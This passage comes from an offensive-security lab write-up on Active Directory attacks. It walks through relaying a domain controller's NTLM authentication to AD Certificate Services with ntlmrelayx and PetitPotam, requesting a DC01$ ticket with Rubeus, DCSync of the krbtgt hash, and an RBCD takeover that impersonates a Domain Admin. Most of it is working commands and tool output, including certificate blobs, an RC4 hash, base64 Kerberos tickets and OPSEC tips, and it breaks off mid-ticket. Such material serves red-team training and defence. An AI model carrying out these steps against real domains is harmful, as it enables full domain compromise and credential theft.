* 10.0.0.7 - Windows worksation (`WS01`). This is the initial foothold in the network and this is the machine that will force the `DC01` to authenticate to our NTLM relay on 10.0.0.5;

### Installing Tools

Let's pull the version of impacket that has ADCS attack implemented and checkout the right branch:

```
git clone https://github.com/ExAndroidDev/impacket.git
cd impacket
git checkout ntlmrelayx-adcs-attack
```

![Installing impacket and switching to the adcs attack branch](/files/-Mfw2dJSxQGbd8X3jDyW)

### Configuring Virtual Environment

Prepare a python virtual environment for impacket. Start by installing the virtual environment package:

```
apt install python3-venv
```

![Installing python3 virtual environment](/files/-Mfw3yd8t07lMsBwQNUT)

Create and activate a new virtual python environment called `impacket`:

```
python3 -m venv impacket
source impacket/bin/activate
```

![Initiating and activating the impacket virtual environment](/files/-Mfw4DT1FVSWgKzgKmU-)

Let's install all impacket dependencies:

```
pip install .
```

![Installing impacket dependencies](/files/-Mfw4NOO0_jS69aIJ6VJ)

### Finding Certificate Authority

On `WS01`, we can use a Windows LOLBIN `certutil.exe`, to find ADCS servers in the domain:

![CA01 is a Certificate Authority](/files/-MfwZK_MBUc40Jz9LLcN)

We confirm that in our domain, `CA01` is our Certificate Authority that we will be relaying `DC01$` authentication to.

### Setting up NTLM Relay

On Kali box at 10.0.0.5, let's setup our NTLM relay to forward incoming authentications from `DC01$` to the `CA01`, or more specifically to one of its HTTP endpoints for certificate enrollment `http://ca01/certsrv/certfnsh.asp` like so:

```
examples/ntlmrelayx.py -t http://ca01/certsrv/certfnsh.asp -smb2support --adcs
```

![NTLM relay is ready and waiting for incoming authentications](/files/-MfwaGwHGsCThHO144zH)

### Forcing DC01 to Authenticate to NTLM Relay

From `WS01`, let's force the `DC01` to authenticate to our NTLM relay at 10.0.0.5 by executing [`PetitPotam`](https://github.com/topotam/PetitPotam):

```
.\PetitPotam.exe 10.0.0.5 dc01
```

![DC01 is coerced to authenticate to 10.0.0.5. DC01$ certificate is retrieved from CA01](/files/-MfwfTUZ460K8Y_HiEhM)

Above shows how:

* `DC01` was forced to authenticate to 10.0.0.5;
* 10.0.0.5 relayed the `DC01$` authentication to `CA01`;
* `CA01` issued a certificate for the `DC01$` computer account.

### Requesting DC01$ TGT

On `WS01`, we can now use `rubeus` to request a Kerberos TGT for the `DC01$` computer account like so:

```
.\Rubeus.exe asktgt /outfile:kirbi /user:dc01$ /ptt /certificate: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
```

{% hint style="info" %}
Use `runas /netonly /user:fake powershell` to create a new/sacrificial logon session into which the `DC01$` TGT will be injected to prevent messing up TGTs/TGSs for your existing logon session.
{% endhint %}

![TGT for DC01$ retrieved and injected into the current logon session](/files/-MfwgYe2TQwcYbZmiPmv)

`klist` confirms we now have a TGT for `DC01$` in the current logon session:

![TGT for DC01$ in memory](/files/-MfwgnuEnopKzVYQVxvb)

We can now perform [DCSync](/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync) and pull the NTLM hash for the user `offsense\krbtgt`:

{% content-ref url="/pages/-LYHcKlvPpvC2Ly98FpQ" %}
[DCSync: Dump Password Hashes from Domain Controller](/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync)
{% endcontent-ref %}

![DCSync pulls NTLM hash of krbtgt](/files/-Mfwgx9OjZlDSf11DPGD)

Having the NTLM hash for `krbtgt` allows us to create [Kerberos Golden Tickets](/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets).

{% content-ref url="/pages/-LKSfYCUiYIbxCKOOU-R" %}
[Kerberos: Golden Tickets](/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets)
{% endcontent-ref %}

## Remember

It's worth remembering that in some AD environments there will be highly privileged accounts connecting to workstations to perform some administrative tasks and if you have local administrator rights on a compromised Windows box, you can perform ADCS + NTLM relay attack to request a certificate for that service account.&#x20;

To do so, you'd need the following:

{% hint style="warning" %}
**Reminder**\
Consider your OPSEC.
{% endhint %}

* Stop the SMB service on the compromised box. This requires local admin privileges on the box and a reboot to stop the machine from listening on TCP 445;
* Spin up the NTLM relay on TCP 445;
* Wait for the service account to connect to your machine;
* Incoming service account authentication is relayed to the ADCS, which spits out the service account certificate;
* Use service account's certificate to request its Kerberos TGT;
* You've now gained administrative privileges on machines the compromised service account can access.

## RBCD: Remote Computer Takeover

It's also possible to gain administrative privileges over any remote computer given we have network access to that computer, as pointed out by Lee Christensen:

{% embed url="<https://twitter.com/tifkin_/status/1418855927575302144/photo/1>" %}

### Lab Setup

This part of the lab is setup with the following computers and servers:

* 10.0.0.5 - Kali box with NTLM relay;
* 10.0.0.7 - Windows worksation (`WS01`). This is the box we will coerce to authenticate our Kali box, which will relay the authentication to `DC01` and setup the computer `WS01` for a remote takeover;
* 10.0.0.6 - Domain Controller `DC01`;
* 10.0.0.10 - Certificate Authority (`CA01`). This is the box from which we will coerce `WS01` to authenticate to `DC01`;

### Setting up NTLM Relay

Let's set up our NTLM relay on the Kali box to relay authentications to DC01 via `LDAP` and specify the `--delegate-access` flag, which will automate the [Resource Based Constrained Delegation (RBCD)](/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution) attack steps:

```python
examples/ntlmrelayx.py -t ldaps://dc01 -smb2support --delegate-access
```

Notes about RBCD takeover:

{% content-ref url="/pages/-Lar6VXoN3caufjSaI72" %}
[Kerberos Resource-based Constrained Delegation: Computer Object Takeover](/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution)
{% endcontent-ref %}

### Forcing WS01 to Authenticate to NTLM Relay

On computer `CA01`, let's invoke PetitPotam and coerce `WS01` (10.0.0.7) to authenticate to our Kali box (10.0.0.5) where our NTLM relay is setup:

```
.\PetitPotam.exe kali@80/spotless.txt 10.0.0.7
```

![](/files/-MfyCH8391CvFq3lJKLt)

On our Kali box, we can see the the incoming authentication from `WS01$` was relayed to `ldaps://dc01` and that a new computer `quaiivve$` account (that `WS01` now trusts and allows to impersonate any domain user), was created:

![LDAP relay succeeds, delegation rights setup](/files/-Mfy8kaq6fVwYKGU-5Gj)

Below screenshot shows that the `QUAIIVEE` computer account has been indeed created and `WS01$` has some privileges to it:

![Computer AD object created as part of RBCD attack](/files/-Mfy9BX_2vntQTH2tqoC)

Additionally, we can see that the attribute `msDS-AllowedToActOnBehalfOfOtherIdentity` on computer object `WS01` contains some binary value, which is empty by default on computer objects:

![WS01 has been configured for RBCD attack](/files/-MgR22dRMADdBXqI6OLp)

From [Kerberos Resource-based Constrained Delegation: Computer Object Takeover](/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object), we know that the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute, after we've successfully performed the LDAP relay attack, effectively encodes the following: computer `WS01` trusts the computer account `QUAIIVVE$` and allows it to impersonate any domain user, including Domain Admins and grant them administrative access to `WS01`.

### Calculating Hash

On computer `CA01`, let's calculate the RC4 hash for the newly created computer account's `QUAIIVVE$`: password:

```
.\Rubeus.exe hash /domain:offense.local /user:QUAIIVVE$ /password:'K_-Jzsb&uK!`TIH'
```

![Rubeus calculates the RC4 hash - 3F55290748348504327CDA267FCCA190](/files/-MfyAKyRitRrwNGSzld3)

### Impersonating Domain Admin on WS01

Time to impersonate a Domain Admin.

While on `CA01`, we can use rubeus `s4u` command, which will:

1. Retrieve a TGT for `offense.local\QUAIIVVE$`;
2. Perform `S4U2Self`, which is a Kerberos extension that allows a service to obtain a TGS to **itself** on another user's behalf. So in our case, the `CA01` will request a TGS for `QUAIIVVE$@OFFENSE.LOCAL` as `administrator@offense.local`;
3. Perform `S4U2Proxy`, which is a Kerberos extension that enables services to request TGS tickets to **other** services on behalf of a given user. In this instance, a TGS will be requested for `cifs/ws01.offense.local`, which will allow `CA01` to access `WS01` computer's file system (i.e.,  `c$` share) on behalf of the Domain Admin `administrator@offense.local`:

```
PS C:\tools> .\Rubeus.exe s4u /user:QUAIIVVE$ /rc4:3F55290748348504327CDA267FCCA190 /impersonateuser:administrator@offense.local /msdsspn:cifs/ws01.offense.local /ptt /domain:offense.local

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.6.4

[*] Action: S4U

[*] Using rc4_hmac hash: 3F55290748348504327CDA267FCCA190
[*] Building AS-REQ (w/ preauth) for: 'offense.local\QUAIIVVE$'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFAjCCBP6gAwIBBaEDAgEWooIEEzCCBA9hggQLMIIEB6ADAgEFoQ8bDU9GRkVOU0UuTE9DQUyiIjAg
      oAMCAQKhGTAXGwZrcmJ0Z3QbDW9mZmVuc2UubG9jYWyjggPJMIIDxaADAgESoQMCAQKiggO3BIIDs4cS
      mkUPxpLm/0VamMXun7JiMnv9KdcA6NEDqqRxGkaCnqAOUJuORZr8IMBRZIAQQ/0uMPqZFka4H/3hmGDu
      j/nkZbIAAfKUnuXDEynJYR+Ra8u23pmYd2uTEtKFbNkiorpmoQVpEvgrpIWcE2qRsL2Gf4dVuV2NCxqV
      b2aBjmWqWN/nBnaUCjp8B2aGa9FjxdP6s+SgPQiXCoC+80iOLu38Pssb4Cf+RJBNNszdYnPlp3SK9Lyd
      7tDCsaF3aJO9H6+BYlI43MvQxyu40sW44skSB0sXrru3uFZpW6hdftAnUij3OArEVPjp52LN/VdLoUHq
      VX/HFeiPlX0Fly0kJ+wAeeLu60r70V6poWQ9PgTjYB1Ak1NGXKIZApUPwiTkraJBQ4rotAnwN+oMu7qS
      un9A4ARq2xeQDa9CqxXAfdtaBVYrYCwJSZfnzA6hlRVOw5tp7gA9bqvm7fj+gvUgFQhd/1FmTra5JIVp
      LKmL7Uzj2WKZqPnHygGZ+v+2QMm1vDJXqhbhgL2Civy5Um3tH+F5UVyo24gzxx470EUniLKTJ8EKNHFy
      idy+KVPJa7FAzzkgQgRDGgxmsYgPeSThKu3fkAijw4mz89aEek93F1/Hc/iMnwpC/7pSg07qy2uY9kz0
      8yKxOtYC+GBLuCsXsijRIHNbqVdwIGkalVuejvY+iDoC4vGwOiPhYmI1WrC4qUT6c1/hnKBMF+FHmRyS
      Njp0lCI0/71gy34xeb0J47hW07AtjiPPO43dU23G8rgWaSkjjws5SerEacHo4onilr47AqA53QRT3JDN
      vo1Hy5oWKM1Tm3LfEIjQMv32AkqDqB+zjRM5de+PXpqfUtwSifAq3N4YcfqWHrbNFrU5oz5Cdz3GvxeL
      uwgNxbVXXNbfFi1dHQ5XIwNeTyFpdHUglwmOyooqxcMrMiiNTUivRzheeEw+5SJvyHMsmVeQk0MeOUO1
      n8Gx8mw18uLU/EvVnmwfOFHLM1d4wpUHuOVOC0TwHM3npuPXR6UzZcvKYHlIeFdeduF8Rt/rNq+vLdKu
      5I6EEzc0ZCeuXcXu4FKHd/BDILwhwSK9is2emWmqUMNT+NnbZmHmXugM6I1t2+nIiVmB4DgOarumoomj
      PqnkSYnXVxWyF+0bNqCokUKE4RS4igUsWlF8WRhJqZITGVLIqH+YRVuG6N4LqceJm2MAtpPPPRSxJ3SS
      v3JP3LS9jvjHKyJZQokp46ZGn87M69o3QvrPPn0A0JZggKO4qTxSoHuhXQBqo4HaMIHXoAMCAQCigc8E
      gcx9gckwgcaggcMwgcAwgb2gGzAZoAMCARehEgQQNUQwX1lLwtWzFUCVxDsvo6EPGw1PRkZFTlNFLkxP
      Q0FMohYwFKADAgEBoQ0wCxsJUVVBSUlWVkUkowcDBQBA4QAApREYDzIwMjEwNzMxMjAwNzE5WqYRGA8y
      MDIxMDgwMTA2MDcxOVqnERgPMjAyMTA4MDcyMDA3MTlaqA8bDU9GRkVOU0UuTE9DQUypIjAgoAMCAQKh
      GTAXGwZrcmJ0Z3QbDW9mZmVuc2UubG9jYWw=


[*] Action: S4U

[*] Using domain controller: dc01.offense.local (10.0.0.6)
[*] Building S4U2self request for: 'QUAIIVVE$@OFFENSE.LOCAL'
[*] Sending S4U2self request
[+] S4U2self success!
[*] Got a TGS for 'administrator@offense.local' to 'QUAIIVVE$@OFFENSE.LOCAL'
[*] base64(ticket.kirbi):

      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

[*] Impersonating user 'administrator@offense.local' to target SPN 'cifs/ws01.offense.local'
[*] Using domain controller: dc01.offense.local (10.0.0.6)
[*] Building S4U2proxy request for service: 'cifs/ws01.offense.local'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/ws01.offense.local':

      doIGXDCCBligAwIBBaEDAgEWooIFWDCCBVRhggVQMIIFTKADAgEFoQ8bDU9GRkVOU0UuTE9DQUyiJTAj
      oAMCAQKhHDAaGwRjaWZzGxJ3czAxLm9mZmVuc2UubG9jYWyjggULMIIFB6ADAgESoQMCAQOiggT5BIIE
      9VCdZpnpXRodSwFgssc1BTs+UtIhkOGTG15XIragjr2cWAzWkqS3COJapihfdZ6PWrloviqo20o0cJdN
      fBGxl424ju1seWVZLvZiIZWilzci6m0fYZzwiaG+MwnBq2xu/Yrr8XGvkImJm14gzNpm8KOhHLNWh+nL
      GE6+CN9Wc6FMEEAUXKK+Q5k8r4qLT6Z7JOn+kUIfumea856znYAi6nUQvlbD9d01DS2QyGGlNyMMexBl
      /QWYP32cO3n0T9X6vgT8ADNmYXCg+DlrNCTFULPcVZ6nrRydDxsuEYhblKba8Zjty4PjAV5n5isdgkTE
      EmNjDO68f4savc7TrdguGqdfLP+eX3UkC2tvowioNhV07oq7Z1tQiHiHBVX394ZzVhJzjFohklxO2mXK
      RhuiJaHCFqZQcwBTK7Z6w1c/we+FAXjxiVUrCiM9+uoFPEixXIpXIFibFnK9Qu+fp3oTo6Xl7o+168XU
      116NKHB0Rm4T9sLhrGxHkkZjTcRhcZSzKbxLiH8u+nbNk1toTK6m67cb4S5WkAqrgdqPGO1fdaTxYQFj
      b2AGhAl7HRvWTexxP2yIF6gqJ5UHPq/XyaRB79Jguc4sE4E0spAyA8NuHujCFxX0yBRcna0LrGx09Smz
      qHcfHbW/ARxSoONycTcHaJ+KeOFcxOPgMPqoUiqPB9fWcRLsuBExcG9g5DU1cayZk6+rB5Q3WmQ3/cRM
      2gTdD2vO9/dKqccVKNn3WyTIVs37+3+0NnU8JmdH657VAVhzFFb2UWfA+YaZv6R9uuNyfKWtGGd6AAjG
      YLsEXJ7ZSCY6OOsb2R6r886a+/ug+2aLZhwdecH/KLAIO04bs3/CI0E+1sV0XtAPL/hR4qk1lg/WRVSc
      /DSTPG4Bdz6qZ7ugd1KcROerJh2BZfo2nJhtfMeDQOGCefbP57ZhZv1oxmLYm6cRIPB3nz3zxG9Yk8rz
